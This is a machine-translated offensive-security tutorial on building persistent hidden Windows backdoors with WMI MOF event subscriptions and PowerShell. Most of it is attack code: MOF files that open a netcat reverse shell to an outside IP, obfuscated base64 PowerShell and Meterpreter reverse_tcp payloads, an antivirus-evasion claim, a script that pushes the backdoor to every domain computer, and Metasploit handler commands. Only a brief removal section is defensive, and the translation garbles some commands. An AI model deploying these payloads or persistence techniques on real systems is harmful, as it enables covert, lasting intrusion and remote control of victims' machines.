Evi1cg · 2016/01/25 at 10:30
0x00 MOF
Managed Object Format (MOF) is the original Format for storing classes and class instances in A WMI database. The Windows Management Specification (WMI) provides the following three methods for compiling managed Object Format (MOF) files into the WMI repository:
- Method 1: Use mofcomp.exe.
- Method 2: Use the IMofCompiler interface and
$ CompileFile
Methods. - Method 3: Drag and drop
%SystemRoot%\System32\Wbem\MOF
Folder of MOF files.
The third method is only available for backward compatibility and earlier versions of WMI (win2003).
A simple MOF rebound shell example:
#! vb #pragma namespace ("\\\\.\\root\\subscription") instance of __EventFilter as $FILTER { Name = "CLASS_FIRST_TEST"; EventNamespace = "root\\cimv2"; Query = "SELECT * FROM __InstanceCreationEvent " "WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND " "TargetInstance.LogFile=\"Application\""; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $CONSUMER { Name = "CLASS_FIRST_TEST"; ScriptingEngine = "VBScript"; ScriptText = "Set objShell = CreateObject(\"WScript.Shell\")\n" "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C: \ \ nc exe 192.168.38.1 1337 - e - C: \ \ Windows \ \ system32 \ \ CMD exe \ "\ n"; }; instance of __FilterToConsumerBinding { Consumer = $CONSUMER ; Filter = $FILTER ; };Copy the code
0x01 MOF and Powershell
If you gain administrator privileges, you can use MOF to make a permanent hidden backdoor. For many backdoors, a trigger is required, and in this case, you can use WMI Query Language(WQL) to Query events to determine when to trigger our backdoor. (For a more detailed explanation, see Poke Me, Poke Me).
For example, if we want to make a backdoor to trigger by opening Notepad, we can use the following query:
#! sql "SELECT * FROM __InstanceCreationEvent Within 5 " "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" ";Copy the code
If you want to trigger by turning Powershell off, you can use the following query:
#! sql "SELECT * FROM __InstanceDeletionEvent Within 5 " "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"powershell.exe\" ";Copy the code
If you want to trigger at 30 minutes per hour, you can use the following query:
#! sql "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Minute = 30 "Copy the code
Once we have determined our trigger, we can write our query as an MOF filter:
#! vb instance of __EventFilter as $Filt { Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query = < insert Query > QueryLanguage = "WQL"; };Copy the code
For example, if we open Notepad as the trigger condition, we can write:
#! vb instance of __EventFilter as $Filt { Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; };Copy the code
Now we need the response of the EventConsumer. In this case, we can use different EventConsumer classes. Using CommandLineEventConsumer, we can use the payload that the Veil outputs, At the same time also can use ActiveScriptEventConsumer to embed or invoke the VBS script. Here is an example using CommandLineEventConsumer:
#! vb "cmd /C [data here]";Copy the code
The following uses Veil to generate Powershell payload:
Select x86 for test, payload is as follows:
#! bash powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcO I6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4 ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972I u7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSd DZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPq R6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcH bOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"Copy the code
Next, we put the payload from above into the following template:
#! vb instance of CommandLineEventConsumer as $Cons { Name = "Powershell Helper"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcO I6swulLrPcWPLde7QaVb8XL5Vygznk5UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4 ds/egVXPQEN9HnxTcUBNO6IMziCVI8NeIeqWgR/Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972I u7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc7NTatPH23LdLzU3VAn13URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSd DZb9TqWTJvCKuzsbNZSYXgs0Kk6O/JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/ox3as5GPq R6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/RKkyqfpIkDIMkcH bOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4MEiSrUhJrB63PwA=\" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();" ; };Copy the code
One thing to note here is that if there’s something in the payload that needs to be escaped, “and \, you can use double quotation marks to quote qi and escape \.
The MOF file we ended up writing looks like this:
#! vb #PRAGMA NAMESPACE ("\\\\.\\root\\subscription") instance of CommandLineEventConsumer as $Cons { Name = "Powershell Helper"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe -NoP -NonI -W Hidden" " -Exec Bypass -Command \"Invoke-Expression " "$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String" "(\\\"nVPbTttAEH33V4wsS9iKbTkXaAhC4qa0SG2KCGofojw4m4FsWe9a63FiQ/PvHYPTFkSrqk/H3p0558xlPQHHcOI6swulLrPcWPLde7QaVb8XL5Vygz nk5" "UJJAQWlxIAV8T1caroiC1+kpTJVp0oZ4bdnmxBKqQmqFusWH4Kj/9Y5t5gS3qwYljudsuVdh/BLuf36Tbs9adTdE4ds/egVXPQEN9HnxTcUBNO6IMziCVI8 NeIeqWgR/" "Nkbd6fLpcWiGKeZVPV8NGIBtBywMfY+hLcynvGmzpHDp8RFZG8HXllDRhjVht6IPHC8Ij43WrNRf6972Iu7B8P43SDuDrp7IQyHw8MAvoMpKdKlUkfg5Vzc 7NTatPH23LdLzU3VAn13" "URO6IQwCDqw4kMmvUaBco+/lr4ge+D5xvPof+GZnktjkGi23ojFuuCn9HnOGSdDZb9TqWTJvCKuzsbNZSYXgs0Kk6O/" "JATw2Tjovrdah99DZD7vhn7s9VuldwWwTozGArXNrLCvK4y57kayLMGi+Oh1WYHOebNzt6F45eo90xoUW/" "ox3as5GPqR6qTDgrKg73zoecS6vRdTMDaIMswXaC7yVWpI0GjwB0STNENyvUvd7LkSa/4o8FQhPJ+NSiyaygChPi4JWtmwGdOzRaPTiiSWhV8cfUd/" "RKkyqfpIkDIMkcHbOr0tNMsP4aSlNPkW7lgKL+FNqi1WqmhGavG46CAnP7flxzH2vindtD4IQforw+tFu6u3rY8XQq8IGkpcbM6XUUjRViDlEUxRGL2F4ME iSrUhJrB63PwA=\\\")))), " "[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); \ ""; }; instance of __EventFilter as $Filt { Name = "EventFilter"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };Copy the code
If this is too much trouble, you can use the unicorn tool to generate the payload with no special characters.
#! The bash ☁ unicorn [master] the python unicorn. Py Windows/meterpreter reverse_tcp 192.168.74.141 8889Copy the code
Msfconsole -r unicorn. Rc to enable listening:
#!vb
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Powershell Helper";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell -window hidden -enc JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYA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AeAA3ADIALAAwAHgAOAA4ACwAMAB4ADgAOQAsADAAeABhAGUALAAwAHgAMgBiACwAMAB4AGMANgAsADAAeAAzAGMALAAwAHgANQBmACwAMAB4ADUAOAAsADAAeAA5ADIALAAwAHgAZgBjACwAMAB4AGQANAAsADAAeAAxADIALAAwAHgAMwAyACwAMAB4ADgANQAsADAAeAAwADkALAAwAHgAZQAyACwAMAB4ADMANQAsADAAeABhADQALAAwAHgAOQBmACwAMAB4ADcAOQAsADAAeAA2AGMALAAwAHgANgA2ACwAMAB4ADIAMQAsADAAeABhAGUALAAwAHgAMAA0ACwAMAB4ADIAZgAsADAAeAAzADkALAAwAHgAYgAzACwAMAB4ADIAMQAsADAAeABmADkALAAwAHgAYgAyACwAMAB4ADAANwAsADAAeABkAGQALAAwAHgAZgA4ACwAMAB4ADEAMgAsADAAeAA1ADYALAAwAHgAMQBlACwAMAB4ADUANgAsADAAeAA1AGIALAAwAHgANQA3ACwAMAB4AGUAZAAsADAAeABhADYALAAwAHgAOQBiACwAMAB4ADUAZgAsADAAeAAwAGUALAAwAHgAZABkACwAMAB4AGQANQAsADAAeAA5AGMALAAwAHgAYgAzACwAMAB4AGUANgAsADAAeAAyADEALAAwAHgAZABmACwAMAB4ADYAZgAsADAAeAA2ADIALAAwAHgAYgAyACwAMAB4ADQANwAsADAAeABmAGIALAAwAHgAZAA0ACwAMAB4ADEAZQAsADAAeAA3ADYALAAwAHgAMgA4ACwAMAB4ADgAMgAsADAAeABkADUALAAwAHgANwA0ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgAYgAyACwAMAB4ADkAOAAsADAAeAAxADgALAAwAHgAMAA0ACwAMAB4AGMAOQAsADAAeABhADQALAAwAHgAOQAxACwAMAB4AGEAYgAsADAAeAAxAGUALAAwAHgAMgBkACwAMAB4AGUAMQAsADAAeAA4AGYALAAwAHgAYgBhACwAMAB4ADcANgAsADAAeABiADEALAAwAHgAYQBlACwAMAB4ADkAYgAsADAAeABkADIALAAwAHgAMQA0ACwAMAB4AGMAZQAsADAAeABmAGMALAAwAHgAYgBkACwAMAB4AGMAOQAsADAAeAA2AGEALAAwAHgANwA2ACwAMAB4ADUAMwAsADAAeAAxAGQALAAwAHgAMAA3ACwAMAB4AGQANQAsADAAeAAzAGIALAAwAHgAZAAyACwAMAB4ADIAYQAsADAAeABlADYALAAwAHgAYgBiACwAMAB4ADcAYwAsADAAeAAzAGMALAAwAHgAOQA1ACwAMAB4ADgAOQAsADAAeAAyADMALAAwAHgAOQA2ACwAMAB4ADMAMQAsADAAeABhADEALAAwAHgAYQBjACwAMAB4ADMAMAAsADAAeABjADUALAAwAHgAYwA2ACwAMAB4ADgANgAsADAAeAA4ADUALAAwAHgANQA5ACwAMAB4ADMAOQAsADAAeAAyADkALAAwAHgAZgA2ACwAMAB4ADcAMAAsADAAeABmAGQALAAwAHgANwBkACwAMAB4AGEANgAsADAAeABlAGEALAAwAHgAZAA0ACwAMAB4AGYAZAAsADAAeAAyAGQALAAwAHgAZQBiACwAMAB4AGQAOQAsADAAeAAyAGIALAAwAHgAZABiACwAMAB4AGUAZQAsADAAeAA0AGQALAAwAHgAMQA0ACwAMAB4AGIANAAsADAAeABiAGIALAAwAHgAMAAwACwAMAB4AGYAYwAsADAAeABjADcALAAwAHgAMwBiACwAMAB4ADMAOAAsADAAeAA0ADQALAAwAHgANABlACwAMAB4AGQAZAAsADAAeAA2AGMALAAwAHgAZQA2ACwAMAB4ADAAMQAsADAAeAA3ADIALAAwAHgAYwBjACwAMAB4ADUANgAsADAAeABlADIALAAwAHgAMgAyACwAMAB4AGEANAAsADAAeABiAGMALAAwAHgAZQBkACwAMAB4ADEAZAAsADAAeABkADQALAAwAHgAYgBlACwAMAB4ADIANwAsADAAeAAzADYALAAwAHgANwBlACwAMAB4ADUAMQAsADAAeAA5AGUALAAwAHgANgBlACwAMAB4ADEANgAsADAAeABjADgALAAwAHgAYgBiACwAMAB4AGUANQAsADAAeAA4ADcALAAwAHgAMQA1ACwAMAB4ADEANgAsADA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
{
Name = "EventFilter";
EventNamespace = "Root\\Cimv2";
Query ="SELECT * FROM __InstanceCreationEvent Within 5"
"Where TargetInstance Isa \"Win32_Process\" "
"And Targetinstance.Name = \"notepad.exe\" ";
QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding {
Filter = $Filt;
Consumer = $Cons;
};
Copy the code
If you have administrator rights, you can put test.mof in the %SYSTEMROOT%/wbem/ mof directory. The system will automatically compile and execute the script.
#! bash C:\>mofcomp.exe c:\test.mofCopy the code
After execution, a Meterpreter session can be generated when Notepad is opened:
Also, the MOF file is kill-free:
Of course there are other things we can do besides this, such as closing an application when it starts. The MOF file looks like this:
#! vb #PRAGMA NAMESPACE ("\\\\.\\root\\subscription") instance of CommandLineEventConsumer as $Cons { Name = "Powershell Helper 2"; RunInteractively=false; CommandLineTemplate="cmd /C powershell.exe Stop-Process -processname notepad -Force"; }; instance of __EventFilter as $Filt { Name = "EventFilter 2"; EventNamespace = "Root\\Cimv2"; Query ="SELECT * FROM __InstanceCreationEvent Within 3" "Where TargetInstance Isa \"Win32_Process\" " "And Targetinstance.Name = \"notepad.exe\" "; QueryLanguage = "WQL"; }; instance of __FilterToConsumerBinding { Filter = $Filt; Consumer = $Cons; };Copy the code
If we want to execute remotely, we can use the following command:
#! bash c:\>mofcomp -N \\[machinename]\root\subscription test.mofCopy the code
If we are in the domain, we can also batch execute remotely with the following Powershell scripts:
#! Vb function getNetHosts {$final = @() # $strCategory = "computer" $objDomain = new-object System.DirectoryServices.DirectoryEntry $objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objSearcher.SearchRoot = $objDomain $objSearcher.Filter = ("(objectCategory=$strCategory)") $colProplist = "name", "cn" foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} $colResults = $objSearcher.FindAll() foreach ($objResult in $colResults) { $objComputer = $objResult.Properties $bleh = $objComputer.name $final += $bleh } return $final } $nethosts= getNetHosts foreach ($nethost in $nethosts) { write-host "Exec on " + $nethost $str = "\\"+$nethost+"\root\subscription" $m = mofcomp -N $str test.mof }Copy the code
Use mode:
#! Bash c:\> Powershell-executionPolicy Bypass.\test.ps1 # mof files in the same folderCopy the code
0x02 Meterpreter Post Module
Metasploit-modules: MSF/post/ Windows/metasploit-modules
#! Bash ☁ persistence [master] mof_ps_persist mv. Rb $msf_path/modules/post/Windows /Copy the code
After obtaining the Meterpreter session, install the portal:
#! Bash MSF exploit(web_delivery) > use post/ Windows /mof_ps_persist MSF POST (mof_ps_persist) > set LHOST 192.168.101.1 MSF POST (mof_ps_persist) > set lport 8887 Lport => 8887 MSF POST (mof_PS_persist) > set session 4 session => 4 msf post(mof_ps_persist) > runCopy the code
The default content for Windows/meterpreter/reverse_tcp, execution time interval for 60 seconds, if you want to start by triggering mode, can modify the ruby script.
Enable listening:
#! bash msf post(mof_ps_persist) > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.101.1 Lhost => 192.168.101.1 MSF exploit(handler) > Set lport 8887 Lport => 8887 MSF exploit(handler) > exploit -jCopy the code
If you see error 80041003, it means that the permission is not enough, you can try bypassuac, specific how to bypass, please stamp me.
When the session is interrupted, the Meterpreter session can be retrieved because the MOF automatically executes. When the other party’s computer restarts, the session can still be accessed.
If you want to remove the backdoor, you can use the RC file generated by resource.
0 x03 stop MOF
To stop mOF, do the following:
- The first
net stop winmgmt
Out of service, - Second delete folder:
C:\WINDOWS\system32\wbem\Repository\
- The third
net start winmgmt
Start the service
0 x04 summary
This article mainly introduces some combination of MOF and Powershell to make backdoor methods, for MOF we may contact the most is to use MOF in MYSQL to raise rights, in fact, there are many ways to play, we can continue to study, I hope this article is helpful to you.
0 x05 reference
- drops.wooyun.org/tips/10346
- drops.wooyun.org/tips/9973
- drops.wooyun.org/tips/8290
- www.codeproject.com/Articles/27…
- www.codeproject.com/Articles/28…
- Poppopret.blogspot.com/2011/09/pla…
- www.cnblogs.com/2018/archiv…
- www.jb51.net/article/524…
This article was originally published by EVI1CG and first published by Black Cloud Drops